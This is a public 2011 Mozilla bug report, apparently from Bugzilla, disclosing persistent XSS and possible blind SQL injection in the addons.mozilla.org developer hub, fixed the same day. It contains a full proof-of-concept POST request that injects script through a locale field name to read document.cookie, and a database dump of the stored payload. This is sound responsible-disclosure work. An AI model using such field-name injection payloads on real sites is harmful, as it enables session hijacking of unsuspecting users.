Last Comment Bug 622749 - Blind SQLi and persistent XSS vulnerabilities in developer hub
: Blind SQLi and persistent XSS vulnerabilities in developer hub
Status: VERIFIED FIXED
[infrasec:sqlinject][ws:critical]
: wsec-xss
Product: addons.mozilla.org Graveyard
Classification: Graveyard
Component: Developer Pages (show other bugs)
: unspecified
: All All
: -- critical
: ---
Assigned To: Wil Clouser [:clouserw]
:
:
Mentors:
https://addons.mozilla.org/en-US/deve...
Depends on:
Blocks: 835438
  Show dependency treegraph
 
Reported: 2011-01-03 18:00 PST by Jаmes Kettle
Modified: 2016-02-04 14:49 PST (History)
6 users (show)
rforbes: sec‑bounty+
See Also:
QA Whiteboard:
Iteration: ---
Points: ---


Attachments
A copy of the proof-of-concept page (24.51 KB, text/html)
2011-01-03 18:03 PST, Jаmes Kettle
no flags Details

Description User image Jаmes Kettle 2011-01-03 18:00:15 PST
User-Agent:       Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Build Identifier: 

In a similar but more severe manner to Bug 606712, many pages in the developer hub do not sanitise input, allowing malicious users to inject arbitrary javascript despite 10 character limit on the input size. I have created a proof-of-concept at https://addons.mozilla.org/en-US/developers/previews/269982/ It may only operate if the viewer has write-permission on it. Since write permission can be granted to anyone without their consent, I think this can essentially affect any user with an account. 

The following pages are affected, but I've probably missed some:
https://addons.mozilla.org/en-US/developers/previews/*/
https://addons.mozilla.org/en-US/developers/addon/edit/*/descriptions
https://addons.mozilla.org/en-US/developers/addon/edit/*/profile

Reproducible: Always

Steps to Reproduce:
1.View https://addons.mozilla.org/en-US/developers/previews/269979/
1.5 Or view the attached HTML page which is exactly the same.
2.Note that it uses javascript to write your cookie to the URL

Alternatively, visit one of the mentioned pages with an intercepting proxy and try changing a value in the POST request from en-us to anything else 10 chars or less.


Expected Results:  
The language setting code should use a whitelist and thus disallow made up languages.

All XSS attacks could be mitigated by adding the HTTPONLY flag to cookies. Some site functionality may rely on the absence of this flag.

This is the request that created the proof-of-concept. Naturally some of the numbers would need to be altered for it to work on another page.

POST /en-US/developers/previews/269982/ HTTP/1.1


-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][en-US]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][<script>/*]"



*/document.location = 123 + document.cookie;/*

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][ro]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][52295]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][Delete][52295]"



false

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][en-US]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][\t*///]"



2
-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][\n</script>]"



3
-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][52296]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][Delete][52296]"



false

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955--
Comment 1 User image Jаmes Kettle 2011-01-03 18:03:39 PST
Created attachment 500959 [details]
A copy of the proof-of-concept page
Comment 2 User image Justin Scott [:fligtar] 2011-01-03 18:09:06 PST
mysql> select * from translations where id=1594097;
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
| autoid  | id      | locale     | localized_string                               | localized_string_clean | created             | modified |
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
| 1677755 | 1594097 | <script>/* | */document.location = 123 + document.cookie;/* | NULL                   | 2011-01-03 17:28:49 | NULL     | 
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
Comment 3 User image Jаmes Kettle 2011-01-03 18:39:06 PST
On further thought, it is quite possibly also vulnerable to SQL injection. At least, requests failed if I included ' but worked fine with \'

I have refrained from testing this since I didn't want to risk mangling the database.

SQL injection is considerably more serious than persistent XSS.
Comment 4 User image Wil Clouser [:clouserw] 2011-01-03 22:03:31 PST
Can you verify if this is fixed on https://addons.allizom.org/ ?
Comment 5 User image Wil Clouser [:clouserw] 2011-01-03 23:35:29 PST
Actually, there was the possibility of a blind SQL injection here with an apppropriately formed payload so I've pushed the fix to production and blanked your inputs up to this point (they'll show up as numbers for now, but I'll delete them when it's not the middle of the night).
Comment 7 User image Michael Coates [:mcoates] (acct no longer active) 2011-01-26 17:18:37 PST
Has this been deployed? What is the status?  What was the end analysis of the risk, is this definitely a blind sql injection? If so, are there any size limitations to the injected characters?
Comment 8 User image Wil Clouser [:clouserw] 2011-01-26 21:27:15 PST
This was fixed the same day it was reported.  I don't think there were size limitations.
Comment 9 User image Jаmes Kettle 2011-01-27 00:46:05 PST
The size limits that I referred to in the original description were in the XSS. I presume that they were simply due to the size of the cell the data was stored in, and so wouldn't affect SQL injection.
Comment 12 User image Jаmes Kettle 2011-03-24 04:31:40 PDT
Could this report be made public since the bug's been long fixed?
Comment 13 User image Michael Coates [:mcoates] (acct no longer active) 2011-04-21 16:35:51 PDT
(In reply to comment #12)
> Could this report be made public since the bug's been long fixed?

Yep. Done.
Comment 14 User image Yvan Boily [:ygjb][:yvan] 2013-05-22 11:13:50 PDT
Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.

Note You need to log in before you can comment on or make changes to this bug.